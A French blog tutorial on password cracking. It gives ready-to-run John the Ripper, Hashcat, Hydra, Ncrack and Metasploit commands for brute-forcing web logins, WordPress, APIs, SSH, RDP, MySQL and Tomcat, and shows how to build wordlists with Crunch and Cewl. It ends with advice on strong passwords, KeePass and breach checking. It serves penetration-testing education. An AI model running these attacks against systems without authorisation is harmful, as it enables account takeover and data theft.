Le cracking de mots de passe

Les mots de passe peuvent être brute-forcés (par exemple, en répétant simplement différentes combinaisons de lettres et de chiffres), mais il est probablement plus efficace d’utiliser un dictionnaire.

Avertissement :
Utiliser les techniques présentées sur ce blog, sur des systèmes qui ne vous appartiennent pas est ILLEGAL et peut vous exposer à de lourdes sanctions.

Si vous souhaitez vous exercer, vous devez le faire sur un système qui vous appartient, ou avec un accord écrit du propriétaire.

Je ne pourrais en aucun cas être tenu pour responsable de vos actes.

Dans Kali, les listes de mots peuvent être trouvées dans /usr/share/wordlists. Les fichiers fasttrack et rockyou permettent de tester les mots de passe faibles. De nombreuses applications et services sont installés avec des mots de passe par défaut, il faut donc toujours les vérifier avant de tenter de les cracker.

Identifier les hashes

Les mots de passe seront souvent hachés dans des bases de données, parfois avec un sel. Si la base de données/application contient un sel avec le mot de passe, vous devrez faire des recherches pour savoir comment il est utilisé dans le mot de passe haché. Par exemple, il peut être concaténé avec le mot de passe (sel + mot de passe, mot de passe + sel) avant le hachage, ou il peut être haché plusieurs fois.

Identifier les hachages avec hash-identifer :

hash-identifier

John the Ripper

John est utile pour le cracking de mots de passe hors ligne, avec un hash stocké dans un fichier texte.

john --wordlist=/usr/share/wordlists/rockyou.txt -format=Raw-MD5 /root/Desktop/john.txt

L’option format n’est pas toujours nécessaire car John est capable de deviner les types de hashes.
Voici une liste des formats pris en charge.

Hydra

Hydra est un outil CLI (en ligne de commande) pour les attaques de mots de passe en ligne, telles que les pages de connexion de sites web et ssh. Les options peuvent être délicates, vous pouvez donc utiliser Burp Intruder comme alternative pour les sites web. Cependant, il semble avoir des difficultés à charger de grandes listes de mots comme rockyou.

Websites

Hydra est utile pour forcer les pages de connexion des sites web, mais vous devrez lui passer la chaîne de requête HTTP en utilisant Burp et les paramètres de succès ou d’échec.

Format général pour les attaques de sites web :

hydra -L <username list> -p <password list> [host] http-post-form "<path>:<form parameters>:<failed login message>"

Attaquer la page de connexion de DVWA :

hydra -L <wordlist> -P <password list> [host] http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed"

Attaquer la page de connexion de WordPress avec un nom d’utilisateur connu, paramètre de succès S= au lieu du paramètre d’échec, sortie verbeuse :

hydra -l [username] -P /usr/share/wordlists/rockyou.txt [host] http-post-form "/wp-admin/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:S=http%3A%2F%2F[host]%2Fwp-admin%2F" -V

JSON and APIs

Vous pouvez soumettre des réponses API et les lire en utilisant Hydra. Il suffit d’échapper tous les " et : dans les messages JSON :

hydra -l [username] -P /usr/share/wordlists/fasttrack.txt [host] https-form-post "/api/account/login:{"email":"^USER^","password":"^PASS^"}:S=userInfo" -V

En raison de problèmes tels que le verrouillage des API, vous pouvez utiliser Burp Intruder à la place, car il vous permet de lire différentes réponses du serveur.

SSH

Utilisation générale :

hydra -l root -P /usr/share/wordlists/fasttrack.txt [host] ssh

SSH avec un port non standard (22022) :

hydra -s 22022 -l root -P /usr/share/wordlists/fasttrack.txt [host] ssh

SSH avec une liste de mots d’utilisateur, un port non standard, des threads limités et une sortie verbeuse :

hydra -s 22022 -L userlist.txt -P /usr/share/wordlists/fasttrack.txt [host] ssh -t 4  -v

Hashcat

Hashcat est un outil de cracking très rapide, avec de nombreux formats supportés.

Utilisation générale :

hashcat -m 0 -a 0 -o cracked.txt target_hashes.txt /usr/share/wordlists/rockyou.txt --force
  • m est le format de hachage (par exemple m 13100 est Kerberos 5)
  • a 0 est une attaque de dictionnaire
  • o cracked.txt est le fichier de sortie pour le mot de passe craqué
  • target_hashes.txt est le hash à cracker
  • /usr/share/wordlists/rockyou.txt est le chemin absolu vers la liste de mots
  • --force est à ajouter (possiblement lié au GPU)

Ncrack

Ncrack peut être utilisé pour craquer les mots de passe du protocole RDP (bureau à distance) :

ncrack -vv --user username -P password-file.txt rdp://[host]

Le brute force de MySQL

Avec Metasploit :

msf > use auxiliary/scanner/mysql/mysql_login
msf auxiliary(mysql_login) > set rhosts [target]
msf auxiliary(mysql_login) > set rport [port]
msf auxiliary(mysql_login) > set user_file /root/Desktop/users.txt
msf auxiliary(mysql_login) > set pass_file /root/Desktop/password.txt
msf auxiliary(mysql_login) > run

Le brute force de ApacheTomcat

Avec Metasploit :

msf > use auxiliary/scanner/http/tomcat_mgr_login
msf auxiliary(tomcat_mgr_login) > set rhosts [target]
msf auxiliary(tomcat_mgr_login) > set rport [port, usually 8080]
msf auxiliary(tomcat_mgr_login) > set ssl true
msf auxiliary(tomcat_mgr_login) > set stop_on_success true
msf auxiliary(tomcat_mgr_login) > run

Par défaut, Metasploit utilisera sa liste de noms d’utilisateur et de mots de passe Tomcat par défaut, mais vous pouvez définir un nom d’utilisateur unique avec set username ou lancer une liste personnalisée avec set user_file. Vous pouvez également lancer une liste de mots de passe plus longue avec set pass_file. En fonction de la vitesse de réponse du serveur, vous pouvez utiliser une grande liste de mots, sinon vous en tenir à fasttrack.txt.

Listes de mots personnalisées

Les listes de mots de passe personnalisées sont utiles lorsqu’elles ciblent une organisation ou une personne spécifique, afin de générer des listes de mots de passe plus pertinentes.

Crunch

Crunch génère une liste de mots de passe personnalisée qui peut être utilisée pour deviner les mots de passe. Ces listes comprennent :

  • toutes les combinaisons pour un certain nombre de lettres.
  • toutes les combinaisons pour une série de caractères suivis d’un texte statique.
  • des Listes de mots de passe basées sur des plages de mots de passe par défaut (mots de passe de routeur par défaut par exemple).

Utilisation générale :

crunch [min length] [max length] [charset] [options]

Génère une liste de mots de passe avec toutes les combinaisons possibles de 4 lettres majuscules :

crunch 4 4 ABCDEFGHIJKLMNOPQRSTUVWXYZ -o /root/Desktop/wordlist.txt

Générer une liste avec toutes les combinaisons de 5 chiffres :

crunch 5 5 0123456789 -o /root/Desktop/wordlist.txt

Générer une liste de mots contenant toutes les combinaisons possibles avec quatre lettres suivies de 1980 :

crunch 8 8 ABCDEFGHIJKLMNOPQRSTUVWXYZ -t @@@@1980 -o /root/Desktop/wordlist.txt

Utilisez l’option -p pour définir un charset (jeu de caractères) qui élimine les répétitions de caractères ou de mots. Cela permet de créer une liste de mots en utilisant différentes combinaisons de mots spécifiques.

Générer toutes les combinaisons des mots “Chien Chat Souris” :

crunch 1 2 -p Dog Cat Mouse -o /root/Desktop/wordlist.txt

Cewl

Cewl scrape les sites web pour en extraire du texte afin de générer une liste de mots de passe personnalisée.

Options:

  • -m est la longueur minimale des mots à enregistrer dans la liste de mots.
  • -d est la profondeur maximale que le spider (la tête du scraper) est autorisée à scraper.
  • -o est hors site, utilisé pour permettre au spider de quitter le site web actuel pour un autre site web.
  • -w écrire dans le fichier de sortie

Utiliser Cewl sur le site web de Kali Linux pour trouver des mots de 8 lettres ou plus et aller à un niveau de profondeur :

cewl -d 1 -m 8 -w /root/Desktop/cewl.txt https://www.kali.org

Se protéger

Pour se protéger efficacement du cracking, il faut bien sûr utiliser des mots de passe longs et complexes (majuscules, minuscules, chiffres et caractères spéciaux).

Utiliser un gestionnaire de mots de passe

keepass

je vous recommande chaudement d’utiliser un gestionnaire de mots de passe comme Keepass.

Keepass

Il vous permettra d’utiliser des mots de passe très sécurisés, toujours différents, il pourra même les taper à votre place, et vous n’aurez plus à les retenir.

Le seul dont vous devrez vous rappeler sera celui de votre BDD (base de données) Keepass. J’en parle dans cet article.

Éviter les fuites

Par ailleurs, il faut garder à l’esprit que même avec un mot de passe long et complexe, il est possible que le site ou service que vous utilisez se soit fait voler sa BDD (base de données, ou DB : DataBase) en utilisant des injections SQL. Les listes de coordonnées fraichement volées sont ensuite vendues, puis partagées gratuitement sur le DeepWeb (DarkNet).

Malheur à celui qui aura utilisé le même mot de passe partout !

Pour réduire les risques de fuite, vous pouvez tester régulièrement vos adresses mail sur le site HaveIBeenPawned.

Ce site gère une base de données des informations et listes retrouvées sur le DeepWeb suite à des fuites.

Il permet donc de vérifier que notre super mot de passe, n’est pas déjà dans la nature.
Par exemple, Yahoo en est très régulièrement victime.

Il arrive aussi que ce genre de fuite mène droit à la catastrophe comme dans le cas du site HashleyMaddison.

Pour illustrer mon propos, je viens d’effectuer le test sur mon adresse mail principale. Il est temps pour moi de générer un nouveau mot de passe dans mon Keepass !

Ici, mes coordonnées (adresse mail et mot de passe) étaient présentes dans différentes collections de listes.
Elles ont étés volées depuis R2Games (un site de jeu) et depuis Verifications.io (un service d’authentification, je crois) qui lui, s’est fait dérober plus d’informations (Dates de naissance, adresses électroniques, employeurs, sexes, lieux géographiques, adresses IP, titres de poste, noms, numéros de téléphone, adresses physiques).


Dans un prochain article nous verrons les exploits.

En attendant, retrouvez tous les articles :

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *